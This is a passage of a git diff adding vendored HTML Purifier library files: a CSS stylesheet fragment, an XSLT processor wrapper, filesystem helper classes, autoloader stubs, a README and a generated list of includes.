+.table thead th:first-child {-moz-border-radius-topleft:1em;}
+.table tbody td {border-bottom:1px solid #CCC; padding-right:0.6em;padding-left:0.6em;}
+
+/* A quick table*/
+table.quick tbody th {text-align:right; padding-right:1em;}
+
+/* Category of the file */
+#filing {font-weight:bold; font-size:smaller; }
+
+/* Contains, without exception, Return to index. */
+#index {font-size:smaller; }
+
+#home {font-size:smaller;}
+
+/* Contains, without exception, $Id$, for SVN version info. */
+#version {text-align:right; font-style:italic; margin:2em 0;}
+
+#toc ol ol {list-style-type:lower-roman;}
+#toc ol {list-style-type:decimal;}
+#toc {list-style-type:upper-alpha;}
+
+q {
+ behavior: url(fixquotes.htc); /* IE fix */
+ quotes: '\201C' '\201D' '\2018' '\2019';
+}
+q:before {
+ content: open-quote;
+}
+q:after {
+ content: close-quote;
+}
+
+/* Marks off implementation details interesting only to the person writing
+ the class described in the spec. */
+.technical {margin-left:2em; }
+.technical:before {content:"Technical note: "; font-weight:bold; color:#061; }
+
+/* Marks off sections that are lacking. */
+.fixme {margin-left:2em; }
+.fixme:before {content:"Fix me: "; font-weight:bold; color:#C00; }
+
+#applicability {margin: 1em 5%; font-style:italic;}
+
+/* vim: et sw=4 sts=4 */
diff --git a/vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php b/vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php
new file mode 100644
index 000000000..1cfec5d76
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php
@@ -0,0 +1,91 @@
+<?php
+
+/**
+ * Decorator/extender XSLT processor specifically for HTML documents.
+ */
+class ConfigDoc_HTMLXSLTProcessor
+{
+
+ /**
+ * Instance of XSLTProcessor
+ */
+ protected $xsltProcessor;
+
+ public function __construct($proc = false)
+ {
+ if ($proc === false) $proc = new XSLTProcessor();
+ $this->xsltProcessor = $proc;
+ }
+
+ /**
+ * @note Allows a string $xsl filename to be passed
+ */
+ public function importStylesheet($xsl)
+ {
+ if (is_string($xsl)) {
+ $xsl_file = $xsl;
+ $xsl = new DOMDocument();
+ $xsl->load($xsl_file);
+ }
+ return $this->xsltProcessor->importStylesheet($xsl);
+ }
+
+ /**
+ * Transforms an XML file into compatible XHTML based on the stylesheet
+ * @param $xml XML DOM tree, or string filename
+ * @return string HTML output
+ * @todo Rename to transformToXHTML, as transformToHTML is misleading
+ */
+ public function transformToHTML($xml)
+ {
+ if (is_string($xml)) {
+ $dom = new DOMDocument();
+ $dom->load($xml);
+ } else {
+ $dom = $xml;
+ }
+ $out = $this->xsltProcessor->transformToXML($dom);
+
+ // fudges for HTML backwards compatibility
+ // assumes that document is XHTML
+ $out = str_replace('/>', ' />', $out); // <br /> not <br/>
+ $out = str_replace(' xmlns=""', '', $out); // rm unnecessary xmlns
+
+ if (class_exists('Tidy')) {
+ // cleanup output
+ $config = array(
+ 'indent' => true,
+ 'output-xhtml' => true,
+ 'wrap' => 80
+ );
+ $tidy = new Tidy;
+ $tidy->parseString($out, $config, 'utf8');
+ $tidy->cleanRepair();
+ $out = (string) $tidy;
+ }
+
+ return $out;
+ }
+
+ /**
+ * Bulk sets parameters for the XSL stylesheet
+ * @param array $options Associative array of options to set
+ */
+ public function setParameters($options)
+ {
+ foreach ($options as $name => $value) {
+ $this->xsltProcessor->setParameter('', $name, $value);
+ }
+ }
+
+ /**
+ * Forward any other calls to the XSLT processor
+ */
+ public function __call($name, $arguments)
+ {
+ call_user_func_array(array($this->xsltProcessor, $name), $arguments);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/extras/FSTools.php b/vendor/ezyang/htmlpurifier/extras/FSTools.php
new file mode 100644
index 000000000..ce0076316
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/extras/FSTools.php
@@ -0,0 +1,164 @@
+<?php
+
+/**
+ * Filesystem tools not provided by default; can recursively create, copy
+ * and delete folders. Some template methods are provided for extensibility.
+ *
+ * @note This class must be instantiated to be used, although it does
+ * not maintain state.
+ */
+class FSTools
+{
+
+ private static $singleton;
+
+ /**
+ * Returns a global instance of FSTools
+ */
+ public static function singleton()
+ {
+ if (empty(FSTools::$singleton)) FSTools::$singleton = new FSTools();
+ return FSTools::$singleton;
+ }
+
+ /**
+ * Sets our global singleton to something else; useful for overloading
+ * functions.
+ */
+ public static function setSingleton($singleton)
+ {
+ FSTools::$singleton = $singleton;
+ }
+
+ /**
+ * Recursively creates a directory
+ * @param string $folder Name of folder to create
+ * @note Adapted from the PHP manual comment 76612
+ */
+ public function mkdirr($folder)
+ {
+ $folders = preg_split("#[\\\\/]#", $folder);
+ $base = '';
+ for($i = 0, $c = count($folders); $i < $c; $i++) {
+ if(empty($folders[$i])) {
+ if (!$i) {
+ // special case for root level
+ $base .= DIRECTORY_SEPARATOR;
+ }
+ continue;
+ }
+ $base .= $folders[$i];
+ if(!is_dir($base)){
+ $this->mkdir($base);
+ }
+ $base .= DIRECTORY_SEPARATOR;
+ }
+ }
+
+ /**
+ * Copy a file, or recursively copy a folder and its contents; modified
+ * so that copied files, if PHP, have includes removed
+ * @note Adapted from http://aidanlister.com/repos/v/function.copyr.php
+ */
+ public function copyr($source, $dest)
+ {
+ // Simple copy for a file
+ if (is_file($source)) {
+ return $this->copy($source, $dest);
+ }
+ // Make destination directory
+ if (!is_dir($dest)) {
+ $this->mkdir($dest);
+ }
+ // Loop through the folder
+ $dir = $this->dir($source);
+ while ( false !== ($entry = $dir->read()) ) {
+ // Skip pointers
+ if ($entry == '.' || $entry == '..') {
+ continue;
+ }
+ if (!$this->copyable($entry)) {
+ continue;
+ }
+ // Deep copy directories
+ if ($dest !== "$source/$entry") {
+ $this->copyr("$source/$entry", "$dest/$entry");
+ }
+ }
+ // Clean up
+ $dir->close();
+ return true;
+ }
+
+ /**
+ * Overloadable function that tests a filename for copyability. By
+ * default, everything should be copied; you can restrict things to
+ * ignore hidden files, unreadable files, etc. This function
+ * applies to copyr().
+ */
+ public function copyable($file)
+ {
+ return true;
+ }
+
+ /**
+ * Delete a file, or a folder and its contents
+ * @note Adapted from http://aidanlister.com/repos/v/function.rmdirr.php
+ */
+ public function rmdirr($dirname)
+ {
+ // Sanity check
+ if (!$this->file_exists($dirname)) {
+ return false;
+ }
+
+ // Simple delete for a file
+ if ($this->is_file($dirname) || $this->is_link($dirname)) {
+ return $this->unlink($dirname);
+ }
+
+ // Loop through the folder
+ $dir = $this->dir($dirname);
+ while (false !== $entry = $dir->read()) {
+ // Skip pointers
+ if ($entry == '.' || $entry == '..') {
+ continue;
+ }
+ // Recurse
+ $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
+ }
+
+ // Clean up
+ $dir->close();
+ return $this->rmdir($dirname);
+ }
+
+ /**
+ * Recursively globs a directory.
+ */
+ public function globr($dir, $pattern, $flags = NULL)
+ {
+ $files = $this->glob("$dir/$pattern", $flags);
+ if ($files === false) $files = array();
+ $sub_dirs = $this->glob("$dir/*", GLOB_ONLYDIR);
+ if ($sub_dirs === false) $sub_dirs = array();
+ foreach ($sub_dirs as $sub_dir) {
+ $sub_files = $this->globr($sub_dir, $pattern, $flags);
+ $files = array_merge($files, $sub_files);
+ }
+ return $files;
+ }
+
+ /**
+ * Allows for PHP functions to be called and be stubbed.
+ * @warning This function will not work for functions that need
+ * to pass references; manually define a stub function for those.
+ */
+ public function __call($name, $args)
+ {
+ return call_user_func_array($name, $args);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/extras/FSTools/File.php b/vendor/ezyang/htmlpurifier/extras/FSTools/File.php
new file mode 100644
index 000000000..6453a7a45
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/extras/FSTools/File.php
@@ -0,0 +1,141 @@
+<?php
+
+/**
+ * Represents a file in the filesystem
+ *
+ * @warning Be sure to distinguish between get() and write() versus
+ * read() and put(), the former operates on the entire file, while
+ * the latter operates on a handle.
+ */
+class FSTools_File
+{
+
+ /** Filename of file this object represents */
+ protected $name;
+
+ /** Handle for the file */
+ protected $handle = false;
+
+ /** Instance of FSTools for interfacing with filesystem */
+ protected $fs;
+
+ /**
+ * Filename of file you wish to instantiate.
+ * @note This file need not exist
+ */
+ public function __construct($name, $fs = false)
+ {
+ $this->name = $name;
+ $this->fs = $fs ? $fs : FSTools::singleton();
+ }
+
+ /** Returns the filename of the file. */
+ public function getName() {return $this->name;}
+
+ /** Returns directory of the file without trailing slash */
+ public function getDirectory() {return $this->fs->dirname($this->name);}
+
+ /**
+ * Retrieves the contents of a file
+ * @todo Throw an exception if file doesn't exist
+ */
+ public function get()
+ {
+ return $this->fs->file_get_contents($this->name);
+ }
+
+ /** Writes contents to a file, creates new file if necessary */
+ public function write($contents)
+ {
+ return $this->fs->file_put_contents($this->name, $contents);
+ }
+
+ /** Deletes the file */
+ public function delete()
+ {
+ return $this->fs->unlink($this->name);
+ }
+
+ /** Returns true if file exists and is a file. */
+ public function exists()
+ {
+ return $this->fs->is_file($this->name);
+ }
+
+ /** Returns last file modification time */
+ public function getMTime()
+ {
+ return $this->fs->filemtime($this->name);
+ }
+
+ /**
+ * Chmod a file
+ * @note We ignore errors because of some weird owner trickery due
+ * to SVN duality
+ */
+ public function chmod($octal_code)
+ {
+ return @$this->fs->chmod($this->name, $octal_code);
+ }
+
+ /** Opens file's handle */
+ public function open($mode)
+ {
+ if ($this->handle) $this->close();
+ $this->handle = $this->fs->fopen($this->name, $mode);
+ return true;
+ }
+
+ /** Closes file's handle */
+ public function close()
+ {
+ if (!$this->handle) return false;
+ $status = $this->fs->fclose($this->handle);
+ $this->handle = false;
+ return $status;
+ }
+
+ /** Retrieves a line from an open file, with optional max length $length */
+ public function getLine($length = null)
+ {
+ if (!$this->handle) $this->open('r');
+ if ($length === null) return $this->fs->fgets($this->handle);
+ else return $this->fs->fgets($this->handle, $length);
+ }
+
+ /** Retrieves a character from an open file */
+ public function getChar()
+ {
+ if (!$this->handle) $this->open('r');
+ return $this->fs->fgetc($this->handle);
+ }
+
+ /** Retrieves an $length bytes of data from an open data */
+ public function read($length)
+ {
+ if (!$this->handle) $this->open('r');
+ return $this->fs->fread($this->handle, $length);
+ }
+
+ /** Writes to an open file */
+ public function put($string)
+ {
+ if (!$this->handle) $this->open('a');
+ return $this->fs->fwrite($this->handle, $string);
+ }
+
+ /** Returns TRUE if the end of the file has been reached */
+ public function eof()
+ {
+ if (!$this->handle) return true;
+ return $this->fs->feof($this->handle);
+ }
+
+ public function __destruct()
+ {
+ if ($this->handle) $this->close();
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php b/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php
new file mode 100644
index 000000000..4016d8afd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php
@@ -0,0 +1,11 @@
+<?php
+
+/**
+ * This is a stub include that automatically configures the include path.
+ */
+
+set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() );
+require_once 'HTMLPurifierExtras.php';
+require_once 'HTMLPurifierExtras.autoload.php';
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.autoload.php b/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.autoload.php
new file mode 100644
index 000000000..de4a8aaaf
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.autoload.php
@@ -0,0 +1,26 @@
+<?php
+
+/**
+ * @file
+ * Convenience file that registers autoload handler for HTML Purifier.
+ *
+ * @warning
+ * This autoloader does not contain the compatibility code seen in
+ * HTMLPurifier_Bootstrap; the user is expected to make any necessary
+ * changes to use this library.
+ */
+
+if (function_exists('spl_autoload_register')) {
+ spl_autoload_register(array('HTMLPurifierExtras', 'autoload'));
+ if (function_exists('__autoload')) {
+ // Be polite and ensure that userland autoload gets retained
+ spl_autoload_register('__autoload');
+ }
+} elseif (!function_exists('__autoload')) {
+ function __autoload($class)
+ {
+ return HTMLPurifierExtras::autoload($class);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.php b/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.php
new file mode 100644
index 000000000..35c2ca7e7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.php
@@ -0,0 +1,31 @@
+<?php
+
+/**
+ * Meta-class for HTML Purifier's extra class hierarchies, similar to
+ * HTMLPurifier_Bootstrap.
+ */
+class HTMLPurifierExtras
+{
+
+ public static function autoload($class)
+ {
+ $path = HTMLPurifierExtras::getPath($class);
+ if (!$path) return false;
+ require $path;
+ return true;
+ }
+
+ public static function getPath($class)
+ {
+ if (
+ strncmp('FSTools', $class, 7) !== 0 &&
+ strncmp('ConfigDoc', $class, 9) !== 0
+ ) return false;
+ // Custom implementations can go here
+ // Standard implementation:
+ return str_replace('_', '/', $class) . '.php';
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/extras/README b/vendor/ezyang/htmlpurifier/extras/README
new file mode 100644
index 000000000..4bfece79e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/extras/README
@@ -0,0 +1,32 @@
+
+HTML Purifier Extras
+ The Method Behind The Madness!
+
+The extras/ folder in HTML Purifier contains--you guessed it--extra things
+for HTML Purifier. Specifically, these are two extra libraries called
+FSTools and ConfigSchema. They're extra for a reason: you don't need them
+if you're using HTML Purifier for normal usage: filtering HTML. However,
+if you're a developer, and would like to test HTML Purifier, or need to
+use one of HTML Purifier's maintenance scripts, chances are they'll need
+these libraries. Who knows: maybe you'll find them useful too!
+
+Here are the libraries:
+
+
+FSTools
+-------
+
+Short for File System Tools, this is a poor-man's object-oriented wrapper for
+the filesystem. It currently consists of two classes:
+
+- FSTools: This is a singleton that contains a manner of useful functions
+ such as recursive glob, directory removal, etc, as well as the ability
+ to call arbitrary native PHP functions through it like $FS->fopen(...).
+ This makes it a lot simpler to mock these filesystem calls for unit testing.
+
+- FSTools_File: This object represents a single file, and has almost any
+ method imaginable one would need.
+
+Check the files themselves for more information.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php
new file mode 100644
index 000000000..1960c399f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php
@@ -0,0 +1,11 @@
+<?php
+
+/**
+ * This is a stub include that automatically configures the include path.
+ */
+
+set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() );
+require_once 'HTMLPurifier/Bootstrap.php';
+require_once 'HTMLPurifier.autoload.php';
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.autoload.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.autoload.php
new file mode 100644
index 000000000..c3ea67e81
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.autoload.php
@@ -0,0 +1,27 @@
+<?php
+
+/**
+ * @file
+ * Convenience file that registers autoload handler for HTML Purifier.
+ * It also does some sanity checks.
+ */
+
+if (function_exists('spl_autoload_register') && function_exists('spl_autoload_unregister')) {
+ // We need unregister for our pre-registering functionality
+ HTMLPurifier_Bootstrap::registerAutoload();
+ if (function_exists('__autoload')) {
+ // Be polite and ensure that userland autoload gets retained
+ spl_autoload_register('__autoload');
+ }
+} elseif (!function_exists('__autoload')) {
+ function __autoload($class)
+ {
+ return HTMLPurifier_Bootstrap::autoload($class);
+ }
+}
+
+if (ini_get('zend.ze1_compatibility_mode')) {
+ trigger_error("HTML Purifier is not compatible with zend.ze1_compatibility_mode; please turn it off", E_USER_ERROR);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.composer.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.composer.php
new file mode 100644
index 000000000..6706f4e39
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.composer.php
@@ -0,0 +1,4 @@
+<?php
+if (!defined('HTMLPURIFIER_PREFIX')) {
+ define('HTMLPURIFIER_PREFIX', __DIR__);
+}
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.func.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.func.php
new file mode 100644
index 000000000..64b140bec
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.func.php
@@ -0,0 +1,25 @@
+<?php
+
+/**
+ * @file
+ * Defines a function wrapper for HTML Purifier for quick use.
+ * @note ''HTMLPurifier()'' is NOT the same as ''new HTMLPurifier()''
+ */
+
+/**
+ * Purify HTML.
+ * @param string $html String HTML to purify
+ * @param mixed $config Configuration to use, can be any value accepted by
+ * HTMLPurifier_Config::create()
+ * @return string
+ */
+function HTMLPurifier($html, $config = null)
+{
+ static $purifier = false;
+ if (!$purifier) {
+ $purifier = new HTMLPurifier();
+ }
+ return $purifier->purify($html, $config);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php
new file mode 100644
index 000000000..9b7b88a87
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php
@@ -0,0 +1,229 @@
+<?php
+
+/**
+ * @file
+ * This file was auto-generated by generate-includes.php and includes all of
+ * the core files required by HTML Purifier. Use this if performance is a
+ * primary concern and you are using an opcode cache. PLEASE DO NOT EDIT THIS
+ * FILE, changes will be overwritten the next time the script is run.
+ *
+ * @version 4.6.0
+ *
+ * @warning
+ * You must *not* include any other HTML Purifier files before this file,
+ * because 'require' not 'require_once' is used.
+ *
+ * @warning
+ * This file requires that the include path contains the HTML Purifier
+ * library directory; this is not auto-set.
+ */
+
+require 'HTMLPurifier.php';
+require 'HTMLPurifier/Arborize.php';
+require 'HTMLPurifier/AttrCollections.php';
+require 'HTMLPurifier/AttrDef.php';
+require 'HTMLPurifier/AttrTransform.php';
+require 'HTMLPurifier/AttrTypes.php';
+require 'HTMLPurifier/AttrValidator.php';
+require 'HTMLPurifier/Bootstrap.php';
+require 'HTMLPurifier/Definition.php';
+require 'HTMLPurifier/CSSDefinition.php';
+require 'HTMLPurifier/ChildDef.php';
+require 'HTMLPurifier/Config.php';
+require 'HTMLPurifier/ConfigSchema.php';
+require 'HTMLPurifier/ContentSets.php';
+require 'HTMLPurifier/Context.php';
+require 'HTMLPurifier/DefinitionCache.php';
+require 'HTMLPurifier/DefinitionCacheFactory.php';
+require 'HTMLPurifier/Doctype.php';
+require 'HTMLPurifier/DoctypeRegistry.php';
+require 'HTMLPurifier/ElementDef.php';
+require 'HTMLPurifier/Encoder.php';
+require 'HTMLPurifier/EntityLookup.php';
+require 'HTMLPurifier/EntityParser.php';
+require 'HTMLPurifier/ErrorCollector.php';
+require 'HTMLPurifier/ErrorStruct.php';
+require 'HTMLPurifier/Exception.php';
+require 'HTMLPurifier/Filter.php';
+require 'HTMLPurifier/Generator.php';
+require 'HTMLPurifier/HTMLDefinition.php';
+require 'HTMLPurifier/HTMLModule.php';
+require 'HTMLPurifier/HTMLModuleManager.php';
+require 'HTMLPurifier/IDAccumulator.php';
+require 'HTMLPurifier/Injector.php';
+require 'HTMLPurifier/Language.php';
+require 'HTMLPurifier/LanguageFactory.php';
+require 'HTMLPurifier/Length.php';
+require 'HTMLPurifier/Lexer.php';
+require 'HTMLPurifier/Node.php';
+require 'HTMLPurifier/PercentEncoder.php';
+require 'HTMLPurifier/PropertyList.php';
+require 'HTMLPurifier/PropertyListIterator.php';
+require 'HTMLPurifier/Queue.php';
+require 'HTMLPurifier/Strategy.php';
+require 'HTMLPurifier/StringHash.php';
+require 'HTMLPurifier/StringHashParser.php';
+require 'HTMLPurifier/TagTransform.php';
+require 'HTMLPurifier/Token.php';
+require 'HTMLPurifier/TokenFactory.php';
+require 'HTMLPurifier/URI.php';
+require 'HTMLPurifier/URIDefinition.php';
+require 'HTMLPurifier/URIFilter.php';
+require 'HTMLPurifier/URIParser.php';
+require 'HTMLPurifier/URIScheme.php';
+require 'HTMLPurifier/URISchemeRegistry.php';
+require 'HTMLPurifier/UnitConverter.php';
+require 'HTMLPurifier/VarParser.php';
+require 'HTMLPurifier/VarParserException.php';
+require 'HTMLPurifier/Zipper.php';
+require 'HTMLPurifier/AttrDef/CSS.php';
+require 'HTMLPurifier/AttrDef/Clone.php';
+require 'HTMLPurifier/AttrDef/Enum.php';
+require 'HTMLPurifier/AttrDef/Integer.php';
+require 'HTMLPurifier/AttrDef/Lang.php';
+require 'HTMLPurifier/AttrDef/Switch.php';
+require 'HTMLPurifier/AttrDef/Text.php';
+require 'HTMLPurifier/AttrDef/URI.php';
+require 'HTMLPurifier/AttrDef/CSS/Number.php';
+require 'HTMLPurifier/AttrDef/CSS/AlphaValue.php';
+require 'HTMLPurifier/AttrDef/CSS/Background.php';
+require 'HTMLPurifier/AttrDef/CSS/BackgroundPosition.php';
+require 'HTMLPurifier/AttrDef/CSS/Border.php';
+require 'HTMLPurifier/AttrDef/CSS/Color.php';
+require 'HTMLPurifier/AttrDef/CSS/Composite.php';
+require 'HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php';
+require 'HTMLPurifier/AttrDef/CSS/Filter.php';
+require 'HTMLPurifier/AttrDef/CSS/Font.php';
+require 'HTMLPurifier/AttrDef/CSS/FontFamily.php';
+require 'HTMLPurifier/AttrDef/CSS/Ident.php';
+require 'HTMLPurifier/AttrDef/CSS/ImportantDecorator.php';
+require 'HTMLPurifier/AttrDef/CSS/Length.php';
+require 'HTMLPurifier/AttrDef/CSS/ListStyle.php';
+require 'HTMLPurifier/AttrDef/CSS/Multiple.php';
+require 'HTMLPurifier/AttrDef/CSS/Percentage.php';
+require 'HTMLPurifier/AttrDef/CSS/TextDecoration.php';
+require 'HTMLPurifier/AttrDef/CSS/URI.php';
+require 'HTMLPurifier/AttrDef/HTML/Bool.php';
+require 'HTMLPurifier/AttrDef/HTML/Nmtokens.php';
+require 'HTMLPurifier/AttrDef/HTML/Class.php';
+require 'HTMLPurifier/AttrDef/HTML/Color.php';
+require 'HTMLPurifier/AttrDef/HTML/FrameTarget.php';
+require 'HTMLPurifier/AttrDef/HTML/ID.php';
+require 'HTMLPurifier/AttrDef/HTML/Pixels.php';
+require 'HTMLPurifier/AttrDef/HTML/Length.php';
+require 'HTMLPurifier/AttrDef/HTML/LinkTypes.php';
+require 'HTMLPurifier/AttrDef/HTML/MultiLength.php';
+require 'HTMLPurifier/AttrDef/URI/Email.php';
+require 'HTMLPurifier/AttrDef/URI/Host.php';
+require 'HTMLPurifier/AttrDef/URI/IPv4.php';
+require 'HTMLPurifier/AttrDef/URI/IPv6.php';
+require 'HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php';
+require 'HTMLPurifier/AttrTransform/Background.php';
+require 'HTMLPurifier/AttrTransform/BdoDir.php';
+require 'HTMLPurifier/AttrTransform/BgColor.php';
+require 'HTMLPurifier/AttrTransform/BoolToCSS.php';
+require 'HTMLPurifier/AttrTransform/Border.php';
+require 'HTMLPurifier/AttrTransform/EnumToCSS.php';
+require 'HTMLPurifier/AttrTransform/ImgRequired.php';
+require 'HTMLPurifier/AttrTransform/ImgSpace.php';
+require 'HTMLPurifier/AttrTransform/Input.php';
+require 'HTMLPurifier/AttrTransform/Lang.php';
+require 'HTMLPurifier/AttrTransform/Length.php';
+require 'HTMLPurifier/AttrTransform/Name.php';
+require 'HTMLPurifier/AttrTransform/NameSync.php';
+require 'HTMLPurifier/AttrTransform/Nofollow.php';
+require 'HTMLPurifier/AttrTransform/SafeEmbed.php';
+require 'HTMLPurifier/AttrTransform/SafeObject.php';
+require 'HTMLPurifier/AttrTransform/SafeParam.php';
+require 'HTMLPurifier/AttrTransform/ScriptRequired.php';
+require 'HTMLPurifier/AttrTransform/TargetBlank.php';
+require 'HTMLPurifier/AttrTransform/Textarea.php';
+require 'HTMLPurifier/ChildDef/Chameleon.php';
+require 'HTMLPurifier/ChildDef/Custom.php';
+require 'HTMLPurifier/ChildDef/Empty.php';
+require 'HTMLPurifier/ChildDef/List.php';
+require 'HTMLPurifier/ChildDef/Required.php';
+require 'HTMLPurifier/ChildDef/Optional.php';
+require 'HTMLPurifier/ChildDef/StrictBlockquote.php';
+require 'HTMLPurifier/ChildDef/Table.php';
+require 'HTMLPurifier/DefinitionCache/Decorator.php';
+require 'HTMLPurifier/DefinitionCache/Null.php';
+require 'HTMLPurifier/DefinitionCache/Serializer.php';
+require 'HTMLPurifier/DefinitionCache/Decorator/Cleanup.php';
+require 'HTMLPurifier/DefinitionCache/Decorator/Memory.php';
+require 'HTMLPurifier/HTMLModule/Bdo.php';
+require 'HTMLPurifier/HTMLModule/CommonAttributes.php';
+require 'HTMLPurifier/HTMLModule/Edit.php';
+require 'HTMLPurifier/HTMLModule/Forms.php';
+require 'HTMLPurifier/HTMLModule/Hypertext.php';
+require 'HTMLPurifier/HTMLModule/Iframe.php';
+require 'HTMLPurifier/HTMLModule/Image.php';
+require 'HTMLPurifier/HTMLModule/Legacy.php';
+require 'HTMLPurifier/HTMLModule/List.php';
+require 'HTMLPurifier/HTMLModule/Name.php';
+require 'HTMLPurifier/HTMLModule/Nofollow.php';
+require 'HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php';
+require 'HTMLPurifier/HTMLModule/Object.php';
+require 'HTMLPurifier/HTMLModule/Presentation.php';
+require 'HTMLPurifier/HTMLModule/Proprietary.php';
+require 'HTMLPurifier/HTMLModule/Ruby.php';
+require 'HTMLPurifier/HTMLModule/SafeEmbed.php';
+require 'HTMLPurifier/HTMLModule/SafeObject.php';
+require 'HTMLPurifier/HTMLModule/SafeScripting.php';
+require 'HTMLPurifier/HTMLModule/Scripting.php';
+require 'HTMLPurifier/HTMLModule/StyleAttribute.php';
+require 'HTMLPurifier/HTMLModule/Tables.php';
+require 'HTMLPurifier/HTMLModule/Target.php';
+require 'HTMLPurifier/HTMLModule/TargetBlank.php';
+require 'HTMLPurifier/HTMLModule/Text.php';
+require 'HTMLPurifier/HTMLModule/Tidy.php';
+require 'HTMLPurifier/HTMLModule/XMLCommonAttributes.php';
+require 'HTMLPurifier/HTMLModule/Tidy/Name.php';
+require 'HTMLPurifier/HTMLModule/Tidy/Proprietary.php';
+require 'HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php';
+require 'HTMLPurifier/HTMLModule/Tidy/Strict.php';
+require 'HTMLPurifier/HTMLModule/Tidy/Transitional.php';
+require 'HTMLPurifier/HTMLModule/Tidy/XHTML.php';
+require 'HTMLPurifier/Injector/AutoParagraph.php';
+require 'HTMLPurifier/Injector/DisplayLinkURI.php';
+require 'HTMLPurifier/Injector/Linkify.php';
+require 'HTMLPurifier/Injector/PurifierLinkify.php';
+require 'HTMLPurifier/Injector/RemoveEmpty.php';
+require 'HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php';
+require 'HTMLPurifier/Injector/SafeObject.php';
+require 'HTMLPurifier/Lexer/DOMLex.php';
+require 'HTMLPurifier/Lexer/DirectLex.php';
+require 'HTMLPurifier/Node/Comment.php';
+require 'HTMLPurifier/Node/Element.php';
+require 'HTMLPurifier/Node/Text.php';
+require 'HTMLPurifier/Strategy/Composite.php';
+require 'HTMLPurifier/Strategy/Core.php';
+require 'HTMLPurifier/Strategy/FixNesting.php';
+require 'HTMLPurifier/Strategy/MakeWellFormed.php';
+require 'HTMLPurifier/Strategy/RemoveForeignElements.php';
+require 'HTMLPurifier/Strategy/ValidateAttributes.php';
+require 'HTMLPurifier/TagTransform/Font.php';
+require 'HTMLPurifier/TagTransform/Simple.php';
+require 'HTMLPurifier/Token/Comment.php';
+require 'HTMLPurifier/Token/Tag.php';
+require 'HTMLPurifier/Token/Empty.php';
+require 'HTMLPurifier/Token/End.php';
+require 'HTMLPurifier/Token/Start.php';
+require 'HTMLPurifier/Token/Text.php';
+require 'HTMLPurifier/URIFilter/DisableExternal.php';
+require 'HTMLPurifier/URIFilter/DisableExternalResources.php';
+require 'HTMLPurifier/URIFilter/DisableResources.php';
+require 'HTMLPurifier/URIFilter/HostBlacklist.php';
+require 'HTMLPurifier/URIFilter/MakeAbsolute.php';
+require 'HTMLPurifier/URIFilter/Munge.php';
+require 'HTMLPurifier/URIFilter/SafeIframe.php';
+require 'HTMLPurifier/URIScheme/data.php';
+require 'HTMLPurifier/URIScheme/file.php';
+require 'HTMLPurifier/URIScheme/ftp.php';
+require 'HTMLPurifier/URIScheme/http.php';
+require 'HTMLPurifier/URIScheme/https.php';
+require 'HTMLPurifier/URIScheme/mailto.php';
+require 'HTMLPurifier/URIScheme/news.php';
+require 'HTMLPurifier/URIScheme/nntp.php';
+require 'HTMLPurifier/VarParser/Flexible.php';
+require 'HTMLPurifier/VarParser/Native.php';
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.kses.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.kses.php
new file mode 100644
index 000000000..752290077
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.kses.php
@@ -0,0 +1,30 @@
+<?php
+
+/**
+ * @file
+ * Emulation layer for code that used kses(), substituting in HTML Purifier.
+ */
+
+require_once dirname(__FILE__) . '/HTMLPurifier.auto.php';
+
+function kses($string, $allowed_html, $allowed_protocols = null)
+{
+ $config = HTMLPurifier_Config::createDefault();
